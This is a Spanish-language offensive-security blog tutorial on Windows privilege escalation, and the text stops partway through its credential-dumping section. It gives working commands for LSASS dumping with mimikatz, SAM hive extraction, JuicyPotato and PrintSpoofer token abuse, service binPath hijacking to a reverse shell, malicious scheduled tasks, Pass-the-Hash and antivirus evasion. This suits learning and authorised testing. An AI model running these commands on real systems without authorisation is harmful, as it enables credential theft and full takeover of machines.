Secciones
Introducción
La escalada de privilegios en sistemas Windows es una de las fases más críticas y determinantes dentro de una auditoría de seguridad ofensiva. Ya sea que estemos llevando a cabo una prueba de penetración, un ejercicio Red Team o una revisión interna de seguridad, este paso representa el puente entre el acceso inicial y el control total del sistema o de la red interna. En este artículo para mi blog DavidalVK, desglosaremos de forma extensa las motivaciones, escenarios y técnicas fundamentales relacionadas con la escalada de privilegios en Windows, incluyendo comandos y herramientas adaptadas para cada etapa.
¿Por qué escalar privilegios?
La escalada de privilegios se refiere al proceso de obtener un nivel de acceso más alto que el inicial. Por ejemplo, pasar de un usuario sin privilegios a una cuenta de administrador local o incluso a la cuenta NT AUTHORITY\SYSTEM
, que representa el máximo nivel de privilegio en un host Windows. Algunas razones comunes para escalar privilegios incluyen:
- Obtener persistencia en un sistema comprometido.
- Acceder a archivos sensibles o bases de datos protegidas por ACLs.
- Capturar credenciales desde memoria o desde recursos compartidos.
- Ejecutar exploits locales, que requieren altos privilegios.
- Moverse lateralmente a otros equipos dentro del dominio.
Escenarios comunes
1. Sistema sin Internet ni puertos USB
Una situación habitual durante auditorías en entornos corporativos es recibir una estación de trabajo bloqueada: sin acceso a internet, sin puertos USB y con un firewall estricto. En estos casos, debemos confiar completamente en herramientas ya presentes en el sistema, como PowerShell y cmd.exe, para llevar a cabo la enumeración y la explotación local. Por ejemplo, podríamos aprovechar configuraciones incorrectas en servicios o realizar un volcado de memoria del proceso lsass.exe
para extraer credenciales usando procdump
y mimikatz
de forma offline.
2. Recurso compartido expuesto
Un escenario típico involucra la exposición de directorios compartidos abiertos para lectura. Es posible encontrar archivos como ntds.dit
, SAM
, SECURITY
o discos virtuales .vhdx
/.vmdk. Montando estos discos en un sistema local, podemos extraer los hashes de contraseñas usando secretsdump.py
y aprovecharlos para ataques de tipo Pass-the-Hash en otras máquinas.
3. Credenciales en texto claro y abuso de privilegios
Un error frecuente en muchas organizaciones es dejar scripts, archivos de configuración o dumps con credenciales en texto claro. Con herramientas como findstr
, Select-String
o Snaffler
, se pueden localizar estas credenciales y usarlas para conectarse a servicios críticos, como bases de datos MSSQL. Si la cuenta usada tiene SeImpersonatePrivilege
, se puede aprovechar JuicyPotato
para elevar privilegios hasta SYSTEM.
Factores que facilitan la escalada de privilegios
Las fallas de configuración y la falta de buenas prácticas de seguridad son las principales causas de que la escalada de privilegios sea posible. Entre ellas:
- Uso de imágenes maestras reutilizadas, con contraseñas o hashes repetidos.
- Servicios con binarios mal protegidos o rutas no entrecomilladas.
- Parches de seguridad ausentes o sistemas legados sin mantenimiento.
- Archivos con permisos ACL mal configurados.
- Usuarios sin privilegios con acceso de escritura a binarios críticos.
Objetivos de la escalada de privilegios
Dependiendo del entorno, podríamos aspirar a uno de los siguientes:
- Cuenta local
Administrator
. - Cuenta
NT AUTHORITY\SYSTEM
. - Miembro del grupo
Administrators
. - Usuario del dominio con privilegios elevados.
- Dominio completo a través de un
Domain Admin
.
Pensamiento lateral y creatividad
Como analistas, debemos recordar que no siempre existirá un exploit público para nuestra versión de Windows. La clave está en pensar de forma creativa: aprovechar la combinación de permisos, configuraciones débiles y herramientas integradas. Aprender a leer el sistema es fundamental para encontrar oportunidades.
En las próximas secciones de este artículo, exploraremos de forma detallada:
- Comandos para obtener información del sistema.
- Detección de privilegios, grupos y políticas activas.
- Explotación de servicios, binarios y tareas programadas.
- Abuso de privilegios como
SeImpersonate
,SeDebugPrivilege
,SeTakeOwnershipPrivilege
. - Robo y reutilización de credenciales.
Prepárate para sumergirte en el mundo de la post-explotación avanzada en Windows. Vamos a comenzar.
1. Herramientas útiles para la Escalada de Privilegios en Windows
Las herramientas adecuadas pueden marcar la diferencia entre una sesión de enumeración infructuosa y una escalada exitosa hacia NT AUTHORITY\SYSTEM
.
Si bien el conocimiento manual es fundamental, las herramientas automatizadas y semi-automatizadas nos permiten identificar vectores de ataque en segundos, especialmente en entornos grandes o restrictivos. A continuación, presentamos las herramientas más destacadas para esta fase, explicando su propósito, puntos fuertes y ejemplos prácticos.
1.1. Seatbelt
Lenguaje: C#
Uso: Enumeración local exhaustiva de configuraciones y vectores comunes de escalada.
Repositorio: GhostPack/Seatbelt
Seatbelt nos ayuda a recolectar información relevante como:
- Usuarios logueados recientemente
- Servicios instalados
- Configuraciones de UAC
- Programas de inicio
- Credenciales almacenadas
Ejemplo de uso:
Seatbelt.exe -group=all
1.2. winPEAS
Lenguaje: C++ / PowerShell
Uso: Exploración automatizada de configuraciones inseguras en sistemas Windows.
Repositorio: PEASS-ng/winPEAS
winPEAS destaca por su capacidad de analizar:
- Permisos de archivos y servicios
- Binarios vulnerables o no entrecomillados
- Políticas de AppLocker
- Información de Active Directory (si aplica)
Ejemplo de uso:
winPEASany.exe
1.3. PowerUp
Lenguaje: PowerShell
Uso: Detección de configuraciones incorrectas que pueden permitir escalada de privilegios.
Repositorio: PowerSploit
PowerUp es ideal para entornos donde ya se tiene una consola PowerShell y se quiere realizar un análisis local profundo.
Ejemplo de uso:
Import-Module .\PowerUp.ps1
Invoke-AllChecks
1.4. SharpUp
Lenguaje: C#
Uso: Versión .NET de PowerUp, ideal para bypass de restricciones de PowerShell.
Repositorio: GhostPack/SharpUp
Puede usarse para identificar configuraciones vulnerables que afectan:
- Servicios
- ACLs
- Configuraciones de privilegios
Ejemplo de uso:
SharpUp.exe audit
1.5. JAWS (Just Another Windows (Enum) Script)
Lenguaje: PowerShell (v2 compatible)
Uso: Enumeración sencilla y legible, enfocada en entornos sin PowerShell moderno.
Repositorio: 411Hall/JAWS
Herramienta liviana, ideal cuando otras alternativas no son viables.
Ejemplo de uso:
.\jaws-enum.ps1
1.6. SessionGopher
Lenguaje: PowerShell
Uso: Enumeración de sesiones guardadas en herramientas como RDP, PuTTY, WinSCP, FileZilla.
Repositorio: Arvanaghi/SessionGopher
Ideal para obtener credenciales o rutas de acceso remoto.
Ejemplo de uso:
Invoke-SessionGopher
1.7. Watson
Lenguaje: .NET
Uso: Identificar vulnerabilidades del sistema por parches faltantes.
Repositorio: rasta-mouse/Watson
Analiza el sistema para sugerir CVEs aplicables para escalada local.
Ejemplo de uso:
Watson.exe
1.8. LaZagne
Lenguaje: Python / ejecutable
Uso: Extracción de contraseñas guardadas en navegadores, servicios, WiFi, bases de datos, etc.
Repositorio: AlessandroZ/LaZagne
Ejemplo de uso:
lazagne.exe all
1.9. Windows Exploit Suggester – NG (WES-NG)
Lenguaje: Python
Uso: Comparar systeminfo con base de datos de vulnerabilidades Windows.
Repositorio: bitsadmin/wesng
Ejemplo de uso:
python2.7 windows-exploit-suggester.py --database 2024-05-01-mssb.xls --systeminfo systeminfo.txt
1.10. Sysinternals Suite
Lenguaje: Binarios compilados por Microsoft
Uso: Acceso granular a información de sistema: servicios, procesos, tuberías, permisos.
Sitio oficial: Sysinternals
Herramientas clave:
accesschk.exe
: revisar permisos ACLpipelist.exe
: listar tuberías con nombrepsservice.exe
: info sobre servicios
Ejemplos de uso:
accesschk.exe /accepteula -uwcqv "Usuarios" "C:\Program Files"
pipelist.exe /accepteula
psservice.exe security AppReadiness
1.11. Consejos prácticos:
- Si el sistema es muy restrictivo, sube las herramientas a
C:\Windows\Temp
donde casi siempre se permite escritura. - Considera compilar tus propias versiones en Visual Studio si necesitas evitar detección antivirus.
- Asegúrate de entender qué hace cada herramienta antes de usarla automáticamente: evita falsos positivos y comportamientos inesperados.
2. Obtener una idea del terreno: Conciencia situacional en Windows
Antes de ejecutar cualquier herramienta automatizada o lanzar un exploit, es esencial comprender el entorno en el que estamos operando. Esta fase inicial, conocida como «conciencia situacional», nos proporciona la información necesaria para tomar decisiones inteligentes durante la escalada de privilegios.
2.1. Configuración de red: interfaces, rutas y ARP
⭐ ipconfig /all
Muestra detalles completos de todas las interfaces de red.
ipconfig /all
Busca:
- Interfaces activas
- Direcciones IP internas/externas
- Sufijos DNS
- Puertas de enlace (puede revelar segmentación de red)
⭐ route print
Imprime la tabla de enrutamiento, mostrando cómo el sistema enruta paquetes.
route print
Esto permite identificar si el host tiene conexiones a múltiples redes (doble conexión), ideal para movimiento lateral.
⭐ arp -a
Revela la caché ARP: hosts con los que el sistema se ha comunicado.
arp -a
Puede mostrar dispositivos clave como:
- Puertas de enlace
- Servidores de archivos
- Otros endpoints conectados
2.2. Verificación del antivirus: Windows Defender
Para saber si Defender está activo (y con qué capacidades):
Get-MpComputerStatus
Observa:
AntivirusEnabled
RealTimeProtectionEnabled
BehaviorMonitorEnabled
Si están en True
, ten cuidado con las herramientas que cargas.
2.3. Políticas de AppLocker activas
AppLocker es una solución de Microsoft para permitir o bloquear binarios según reglas.
Obtener reglas vigentes:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Probar si un binario está bloqueado:
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
Si devuelve «Denied», necesitarás buscar binarios alternativos (LOLbins) para evadir restricciones.
2.4. Variables de entorno
Para ver qué rutas están en uso, y si se pueden usar para cargar herramientas:
set
Revisa:
TEMP
,TMP
PATH
- Rutas como
C:\Windows\Temp
(generalmente escribible)
2.5. Información del sistema
Comprender el sistema operativo, arquitectura y nivel de parches:
systeminfo
Busca:
- Nombre y versión del OS
- Arquitectura (x64/x86)
- Fecha de instalación
- Parche más reciente («Hotfix(s)»)
Complemento:
wmic qfe
Revela actualizaciones instaladas por identificador (KB). Ideal para comparar contra vulnerabilidades conocidas.
2.6. Software instalado
Listado de productos:
wmic product get name
Alternativa (más rápida con PowerShell):
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName
Busca:
- Antivirus
- Servidores (IIS, MSSQL, etc.)
- Aplicaciones vulnerables (WinRAR, Java viejo, etc.)
2.7. Usuarios y sesiones activas
Ver usuarios conectados:
query user
Ver usuario actual:
echo %USERNAME%
Ver detalles completos del token actual:
whoami /priv
whoami /groups
2.8. Políticas de contraseña
Para ver la configuración de la política local:
net accounts
Muestra:
- Mínimo de longitud
- Días para expirar
- Intentos fallidos permitidos
Esto puede influir en ataques de fuerza bruta o en el robo de hashes.
2.9. Conexiones de red activas
Para ver conexiones actuales:
netstat -ano
Combinar con tasklist
para identificar procesos:
tasklist /svc
Permite identificar:
- Servicios que escuchan en puertos elevados
- Posibles puertas traseras
- Software que se comunica hacia fuera (p. ej. clientes RDP, tuneladores)
2.10. Recursos compartidos y servicios
- Revisar servicios con rutas vulnerables:
Get-Service | Where-Object { $_.PathName -like '* ' }
- Revisar permisos en servicios:
accesschk.exe /accepteula -uwcqv "Usuarios" "C:\Program Files"
- Ver tuberías con nombre:
pipelist.exe /accepteula
gci \\.\pipe\
Estas pueden abrir la puerta a ataques de impersonación.
2.11. Conclusión
Esta fase de «conciencia situacional» es como estudiar el mapa antes de avanzar en una misión. Nos ayuda a entender el sistema, evaluar riesgos, detectar oportunidades y planificar nuestros movimientos de forma más inteligente.
3. Enumeración Inicial en Windows: Conociendo el terreno enemigo
La enumeración inicial es una etapa esencial tras obtener acceso a un sistema Windows. En este punto, ya hemos entendido el contexto básico del entorno (gracias a la conciencia situacional), y ahora toca recopilar información clave que podría revelar vulnerabilidades explotables o puntos de escalada de privilegios.
3.1. Versiones del sistema operativo
Saber qué versión exacta de Windows está en uso te ayuda a identificar posibles vulnerabilidades del kernel y determinar si ciertas herramientas o exploits funcionarán.
⭐ systeminfo
systeminfo
Observa:
- Nombre del sistema operativo
- Versión
- Arquitectura (x64/x86)
- Hotfixes instalados
⭐ Alternativa:
[environment]::OSVersion.Version
3.2. Usuarios y grupos locales
Ver usuarios:
net user
Ver grupos:
net localgroup
Ver miembros del grupo de administradores:
net localgroup administrators
Esto puede revelar cuentas que podrías intentar suplantar o encontrar configuraciones débiles.
3.3. Política de contraseñas
net accounts
Esto indica la longitud mínima, la complejidad requerida y el tiempo de expiración. Si las reglas son muy laxas, puede ser viable un ataque de fuerza bruta o password spraying.
3.4. Procesos y servicios
Ver procesos activos:
tasklist /svc
Servicios automáticos que no están en rutas del sistema:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\\windows\\"
Esto puede revelar binarios vulnerables, rutas no entrecomilladas o servicios de terceros mal configurados.
3.5. Parches y actualizaciones
Listar hotfixes:
wmic qfe get HotFixID,Description,InstalledOn
Puedes comparar esto con vulnerabilidades conocidas usando herramientas como Watson o WES-NG.
3.6. Programas instalados
Ver lista de software:
wmic product get name
Alternativa más estable:
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName
Busca:
- Software desactualizado
- Programas comunes vulnerables (WinRAR, Java, etc.)
- Herramientas de administración remota
3.7. Variables de entorno y rutas
set
Verifica si el PATH incluye rutas como C:\Users\Public\
o C:\Temp
, lo que podría permitir ataques como hijacking de ejecutables.
3.8. Comprobación de privilegios del usuario actual
Ver nombre de usuario:
echo %USERNAME%
Ver token de seguridad:
whoami
whoami /groups
whoami /priv
Observa si tienes alguno de estos privilegios:
SeImpersonatePrivilege
SeAssignPrimaryTokenPrivilege
SeDebugPrivilege
SeTakeOwnershipPrivilege
Con cualquiera de estos, podrías usar técnicas como JuicyPotato, PrintSpoofer, DLL hijacking, etc.
3.9. Sesiones de usuario
query user
Útil para saber si hay usuarios con sesiones activas, incluyendo administradores que podrías atacar indirectamente (ej. inyección en proceso, robo de token, mimikatz, etc.)
3.10. Tuberías con nombre
Las named pipes son mecanismos de comunicación entre procesos. Algunas herramientas como PrintSpoofer requieren que existan ciertas tuberías con acceso público.
Comandos:
pipelist.exe /accepteula
gci \\.\pipe\
Puedes verificar permisos con:
accesschk.exe /accepteula \\.\pipe\lsass -v
3.11. Información de red y conectividad
Ya cubierto en la fase de conciencia situacional, pero puedes volver a consultar:
netstat -ano
3.12. Conclusión
La enumeración inicial es la antesala de cualquier ataque exitoso. Si sabes dónde están los eslabones débiles, podrás usar el conjunto correcto de herramientas y técnicas para escalar privilegios sin llamar la atención.
4. Comunicación con Procesos en Windows: Abriendo nuevas puertas
Uno de los enfoques más potentes en la escalada de privilegios en Windows consiste en abusar de la comunicación entre procesos. Este tipo de interacción es común en sistemas operativos modernos, y Windows no es la excepción. Si un proceso privilegiado se comunica con uno sin privilegios mediante mecanismos inseguros, el atacante puede aprovechar ese canal para elevar sus permisos, suplantar sesiones o inyectar código.
4.1. Named Pipes (Tuberías con nombre)
Las named pipes son un mecanismo IPC (inter-process communication) muy usado en Windows. Algunos servicios con privilegios elevados crean tuberías para recibir comandos u operar con otros procesos. Si estas no están protegidas adecuadamente, podemos interactuar con ellas o incluso secuestrarlas.
⭐ Enumerar tuberías:
Con PowerShell:
gci \\.\pipe\
Con Sysinternals:
pipelist.exe /accepteula
⭐ Revisar permisos de una pipe:
accesschk.exe /accepteula \\.\Pipe\lsass -v
Busca pipes que permitan acceso a usuarios sin privilegios (BUILTIN\Users
, Everyone
, etc.). Son candidatas a ataques como PrintSpoofer, RoguePotato, Pipe impersonation, etc.
4.2. Impersonación mediante SeImpersonatePrivilege
Un proceso con este privilegio puede suplantar el token de seguridad de otro proceso si logra capturar una conexión con ese proceso. La técnica más clásica que abusa de esto es JuicyPotato.
Verificar si tienes este privilegio:
whoami /priv
Busca:
SeImpersonatePrivilege Enabled
Uso de JuicyPotato:
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *
Este exploit crea una pipe falsa y espera a que un proceso privilegiado se conecte para robar su token y ejecutar código como SYSTEM.
4.3. Uso de PrintSpoofer (Alternativa moderna)
PrintSpoofer explota servicios vulnerables (como Print Spooler) combinados con SeImpersonatePrivilege para ejecutar comandos como SYSTEM.
Ejemplo:
PrintSpoofer.exe -c "cmd.exe"
El binario se conecta a una pipe de servicio vulnerable y fuerza la elevación del token.
4.4. Pipes en servicios de base de datos (ej. MSSQL)
Si se puede acceder a un servidor MSSQL que ejecuta xp_cmdshell
, es posible ejecutar comandos del sistema operativo directamente.
Ejemplo usando mssqlclient.py
de impacket:
mssqlclient.py usuario@ip -windows-auth
Dentro del cliente:
enable_xp_cmdshell
xp_cmdshell whoami
Si el servidor MSSQL está corriendo como NT AUTHORITY\SYSTEM, el comando devolverá SYSTEM.
4.5. Pipes de servicios vulnerables
Algunos servicios crean tuberías automáticamente y permiten conexiones no autorizadas. Al analizarlas puedes descubrir mecanismos de ataque poco comunes, como DLL hijacking o abuso de eventos COM expuestos.
Ejemplo de pipe que podría usarse:
\\.\pipe\spoolss
Usando herramientas como Evil-WinRM, RoguePotato o GodPotato, puedes interactuar con estas tuberías específicas.
4.6. Procesos y token stealing
Si un proceso privilegiado está activo y el usuario actual tiene SeDebugPrivilege, puedes inyectar shellcode o duplicar su token para ejecutar comandos elevados.
Ver procesos activos:
tasklist
Usar Mimikatz para robar token:
privilege::debug
token::elevate
token::list
token::use /id:123
Esto solo es posible si el token deseado está disponible en el contexto del usuario.
4.7. Conclusión
Comprender y analizar la comunicación entre procesos puede parecer menos directo que buscar exploits, pero es uno de los vectores más efectivos y menos ruidosos para escalar privilegios. En entornos modernos, las tuberías mal configuradas o los privilegios de impersonación son una mina de oro para el atacante.
5. Privilegios de Usuario en Windows: Tu nivel de acceso define el juego
En sistemas Windows, los privilegios de usuario definen exactamente qué acciones puedes llevar a cabo. A la hora de escalar privilegios, es fundamental comprender qué derechos posee el usuario comprometido, ya que algunos privilegios por sí solos permiten tomar el control del sistema con las herramientas adecuadas.
5.1. Ver los privilegios del usuario actual
Comando:
whoami /priv
Este comando muestra todos los privilegios que tiene tu contexto de ejecución actual. Algunos están habilitados por defecto, otros no.
Ejemplo de salida:
Privilege Name Description State
============================= ======================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
El objetivo es encontrar privilegios habilitados que puedan facilitar la escalada. A continuación se explican los más críticos.
5.2. SeImpersonatePrivilege
Permite suplantar el token de otro proceso si este se conecta a nuestro servidor (pipe).
✅ Explotable con:
- JuicyPotato
- RoguePotato
- PrintSpoofer
Comprobación:
whoami /priv | findstr SeImpersonate
Si está habilitado, puedes intentar una escalada inmediata.
5.3. SeAssignPrimaryTokenPrivilege
Permite asignar un token de seguridad a un nuevo proceso. Este privilegio es menos común, pero algunas variantes de Juicy/RoguePotato pueden usarlo si SeImpersonate no está presente.
Verificación:
whoami /priv | findstr SeAssignPrimaryToken
5.4. SeDebugPrivilege
Permite depurar otros procesos, lo que puede ser usado para leer memoria de procesos privilegiados como lsass.exe
.
Escenarios de explotación:
- Volcado de LSASS (para usar con Mimikatz)
- Inyección en procesos
- Robo de tokens
Verificar:
whoami /priv | findstr SeDebugPrivilege
Si está habilitado:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Luego:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
5.5. SeTakeOwnershipPrivilege
Permite tomar la propiedad de cualquier objeto, incluso si no se tienen permisos para modificarlo.
Comando para tomar propiedad de un archivo:
takeown /f C:\ruta\archivo.txt
Verificar con PowerShell:
Get-ChildItem -Path 'C:\ruta\' | select name,@{Name="Owner";Expression={(Get-Acl $_.Fullname).Owner}}
Otorgar permisos totales:
icacls "C:\ruta\archivo.txt" /grant usuario:F
Este privilegio se puede usar para tomar control de ejecutables, servicios o DLLs y modificarlos con cargas maliciosas.
5.6. SeBackupPrivilege / SeRestorePrivilege
Estos privilegios permiten leer y escribir archivos incluso si no se tienen permisos ACL convencionales. Son útiles para acceder a archivos del sistema, como SAM, SYSTEM, SECURITY.
Leer archivos protegidos:
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
Luego puedes usar secretsdump.py
para extraer hashes.
5.7. SeLoadDriverPrivilege
Permite cargar drivers de kernel. Si se puede abusar, puede dar acceso a nivel de anillo 0 (nivel más alto del sistema).
Ejemplo:
- Compilar un driver vulnerable (ej. Capcom.sys)
- Modificar el registro:
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
- Cargar el driver:
EoPLoadDriver.exe System\CurrentControlSet\CAPCOM C:\Tools\Capcom.sys
5.8. Comprobar todos los privilegios con PowerShell
whoami /priv | Format-Table
O para ver en detalle:
$WinIdentity = [Security.Principal.WindowsIdentity]::GetCurrent()
$WinIdentity.User
$WinIdentity.Groups
$WinIdentity.Claims
5.9. Conclusión
Saber qué privilegios tiene tu sesión actual es tan importante como tener un exploit en la mano. Muchos entornos de red tienen usuarios aparentemente limitados que cuentan con privilegios altamente explotables por configuración por defecto, mala segmentación o por haber sido parte de grupos antiguos.
6. Privilegios de Grupo en Windows: Escalada silenciosa a través de pertenencias
En Windows, los privilegios no solo se asignan directamente a usuarios individuales, sino también a través de los grupos a los que pertenecen. Muchos usuarios que parecen inofensivos terminan teniendo un poder enorme simplemente por formar parte de un grupo privilegiado. Esta es una de las formas más sutiles y efectivas de escalar privilegios.
6.1. Ver los grupos del usuario actual
Comando:
whoami /groups
Este comando muestra todos los grupos a los que pertenece el usuario, junto con los atributos del token (si están habilitados, si son predeterminados, etc.).
Ejemplo de salida:
Group Name SID Attributes
========================================= ============================================ =================
Everyone S-1-1-0 Mandatory group
BUILTIN\Users S-1-5-32-545 Mandatory group
BUILTIN\Administrators S-1-5-32-544 Enabled group
NT AUTHORITY\INTERACTIVE S-1-5-4 Mandatory group
Si ves BUILTIN\Administrators
o NT AUTHORITY\SYSTEM
, ya tienes acceso total.
6.2. Grupos comunes que permiten escalada
Incluso si no estás en Administrators
, hay otros grupos que otorgan capacidades peligrosas:
✅ Backup Operators (S-1-5-32-551
)
- Pueden leer cualquier archivo del sistema con
SeBackupPrivilege
. - Acceder a
SAM
,SYSTEM
,SECURITY
y volcarlos conreg save
.
✅ Remote Desktop Users
- Pueden conectarse por RDP al sistema.
- Si se configura
RestrictedAdmin
, podrías robar credenciales NTLM al conectar.
✅ Power Users
- Tienen privilegios intermedios; en versiones antiguas pueden instalar software o modificar configuraciones del sistema.
✅ Print Operators
- Heredan privilegios de impresión. Históricamente abusables mediante el servicio
spooler
.
✅ Users con privilegios de servicio
Si estás en un grupo con capacidad para reiniciar o modificar servicios:
sc qc NombreDelServicio
Y tienes permisos de escritura sobre el binario o argumentos, puedes usarlo para escalar.
6.3. Ver miembros de grupos locales
Listar todos los grupos locales:
net localgroup
Ver los miembros de un grupo en particular:
net localgroup "Administrators"
net localgroup "Remote Desktop Users"
Esto permite descubrir usuarios con privilegios y posiblemente reutilizar sus credenciales (pass-the-hash, phishing, etc.).
6.4. Ver miembros de grupos de dominio (si aplica)
En entornos de dominio, puedes usar whoami /groups
junto con consultas LDAP/Powerview para analizar miembros de grupos privilegiados.
Ejemplo con PowerView:
Get-NetGroupMember -GroupName "Domain Admins"
O buscar usuarios con privilegios peligrosos:
Get-NetUser -AdminCount 1
Esto revela cuentas que alguna vez fueron parte de grupos privilegiados.
6.5. Abuso indirecto de grupos
Si no puedes actuar directamente, busca:
- Usuarios en
Administrators
con sesiones activas (token stealing) - Compartidos accesibles donde puedas dejar un payload para un usuario privilegiado
- Servicios que corren bajo cuentas con privilegios de grupo
6.6. Cambios de grupo (persistencia)
Si tienes acceso a herramientas administrativas y quieres mantener persistencia:
net localgroup administrators usuario /add
Advertencia: Esta acción puede levantar alertas en sistemas monitorizados.
6.7. Automatizar con Seatbelt o PowerUp
Estas herramientas también detectan membresías de grupos peligrosas:
Seatbelt.exe -group=all
Invoke-AllChecks
Busca resultados como:
- «User is in the Backup Operators group»
- «Token privileges: SeDebugPrivilege, SeTakeOwnershipPrivilege»
6.8. Conclusión
Escalar privilegios mediante pertenencia a grupos privilegiados es una técnica discreta, poderosa y común. Muchos equipos de seguridad subestiman el poder de los grupos como vectores de ataque.
7. Servicios, Tareas Programadas y Binarios Explotables en Windows
Dentro del ecosistema Windows, una de las fuentes más comunes de escalada de privilegios es el mal uso o configuración incorrecta de servicios, tareas programadas y binarios confiables. Estas entidades suelen ejecutarse con privilegios elevados y, si son manipulables por usuarios sin privilegios, se convierten en puertas de entrada directas al sistema.
7.1. Servicios de Windows
Los servicios se ejecutan normalmente con altos privilegios (SYSTEM o Administrador local). Si el binario que ejecutan puede ser modificado por el usuario actual, se pueden aprovechar para ejecutar payloads con permisos elevados.
⭐ Ver servicios automáticos fuera de rutas del sistema:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\\windows\\"
⭐ Revisar permisos en servicios:
accesschk.exe /accepteula -uwcqv "Usuarios" "C:\Program Files"
Busca si el usuario actual tiene permisos de escritura (RW
) sobre rutas de binarios.
⭐ Reiniciar un servicio con binario malicioso:
sc stop NombreDelServicio
sc start NombreDelServicio
O modificarlo directamente:
sc config NombreDelServicio binPath= "C:\ruta\reverse_shell.exe"
7.2. Rutas no entrecomilladas
Cuando un servicio ejecuta un binario desde una ruta con espacios y sin comillas dobles, Windows busca ejecutables en cada fragmento del path. Esto permite ejecutar binarios colocados en ubicaciones intermedias si se tienen permisos de escritura.
Ejemplo vulnerable:
C:\Program Files\Mi Aplicacion\Servicio.exe
Si no está entrecomillado, Windows puede intentar ejecutar:
C:\Program.exe
C:\Program Files\Mi.exe
Verificar servicios con rutas no entrecomilladas:
wmic service get name,pathname | findstr /i /v "\""
Si tienes permisos de escritura en C:\
, puedes subir un Program.exe
malicioso y reiniciar el servicio.
7.3. Tareas Programadas
Las tareas programadas son otro vector de explotación común, especialmente cuando:
- Se ejecutan con privilegios elevados.
- Ejecutan scripts o binarios modificables.
- Son configurables por usuarios sin privilegios.
Ver tareas programadas:
schtasks /query /fo LIST /v
Revisar permisos en los archivos ejecutados:
Get-ScheduledTask | foreach { $_.Actions } | Select-Object Execute, Arguments
Busca tareas con binarios en rutas públicas como C:\Users\Public
o C:\Temp
.
Ver permisos de modificación en tareas:
icacls "C:\Windows\System32\Tasks"
Crear una tarea maliciosa:
schtasks /create /tn "persistencia" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM
7.4. DLL Hijacking
Si un binario privilegiado carga DLLs sin especificar la ruta completa, puede ser engañado para cargar una DLL maliciosa desde el mismo directorio.
Identificar binarios susceptibles:
procmon.exe
Filtrar eventos por CreateFile
y extensiones .dll
con resultado «NAME NOT FOUND».
Crear DLL y ejecutarla:
- Compilar DLL con payload.
- Colocarla en el mismo directorio que el binario.
- Ejecutar el binario para cargarla.
7.5. Binarios confiables por el sistema (LoLBins)
Windows tiene muchos binarios firmados que pueden ser usados de forma abusiva:
msbuild.exe
certutil.exe
regsvr32.exe
rundll32.exe
Ejemplo con msbuild.exe
:
Crear archivo .csproj
con payload y ejecutarlo:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe payload.csproj
7.6. Auto-elevación (manifest injection)
Algunos binarios permiten que se les adjunten manifestos con atributos UAC que provocan elevación automática si están mal configurados.
Insertar manifest en ejecutable:
mt.exe -manifest uac.xml -outputresource:binario.exe;#1
Este tipo de ataque puede forzar una solicitud de elevación o una ejecución directa como administrador si no hay UAC.
7.7. Conclusión
Servicios mal configurados, rutas vulnerables y tareas con permisos inseguros son objetivos clásicos y efectivos para escalar privilegios. Saber identificar estas configuraciones es clave para cualquier operador ofensivo.
8. Robo de Credenciales en Windows: La llave maestra para la escalada
Uno de los pilares fundamentales en la escalada de privilegios es el robo de credenciales. En muchas situaciones, el acceso inicial a un sistema Windows no es suficiente para alcanzar el dominio completo. Sin embargo, capturando credenciales de usuarios con mayores privilegios, puedes moverte lateralmente, ejecutar ataques Pass-the-Hash, o simplemente escalar a SYSTEM sin necesidad de exploits.
8.1. Mimikatz: el rey del post-exploit
Mimikatz es la herramienta por excelencia para extraer contraseñas en texto claro, hashes NTLM, tickets Kerberos y tokens.
Cargar Mimikatz:
mimikatz.exe
Comandos esenciales:
privilege::debug
sekurlsa::logonpasswords
Esto muestra usuarios logueados, sus contraseñas en claro (si existen), y hashes que pueden ser reutilizados.
Volcar desde archivo LSASS:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
8.2. Buscar contraseñas en archivos y scripts
Muchos administradores cometen el error de dejar credenciales en:
- Archivos
.bat
,.ps1
,.vbs
- Scripts de conexión remota (WinSCP, FileZilla, RDP)
- Documentos
.txt
,.ini
,.xml
Buscar con findstr
:
findstr /si /m /p "password" *.xml *.ini *.txt *.config
Buscar con PowerShell:
Select-String -Path *.ps1,*.txt,*.config -Pattern "password"
Herramienta especializada: Snaffler
Snaffler.exe -v -o report.csv
Recorre unidades compartidas buscando patrones comunes de contraseñas, claves y configuraciones sensibles.
8.3. Herramientas para obtener credenciales almacenadas
LaZagne
Permite extraer credenciales guardadas localmente en navegadores, Wi-Fi, bases de datos y clientes FTP.
lazagne.exe all
SessionGopher
Extrae credenciales de herramientas como PuTTY, WinSCP y FileZilla.
Invoke-SessionGopher
8.4. Pass-the-Hash (PtH)
Si tienes un hash NTLM, puedes usarlo directamente sin conocer la contraseña original.
Con psexec.py
(Impacket):
psexec.py -hashes :HASH administrador@IP
Con wmiexec.py
:
wmiexec.py -hashes :HASH administrador@IP
8.5. Pass-the-Ticket (PtT)
Si extraes un ticket Kerberos TGT con Mimikatz, puedes usarlo para autenticarte sin la contraseña.
Exportar ticket:
kerberos::list /export
Importar en otro sistema:
kerberos::ptt ticket.kirbi
8.6. Dump de SAM, SYSTEM y SECURITY
Estas bases de datos contienen hashes de contraseñas de usuarios locales.
Guardar con reg
:
reg save HKLM\SAM sam.save
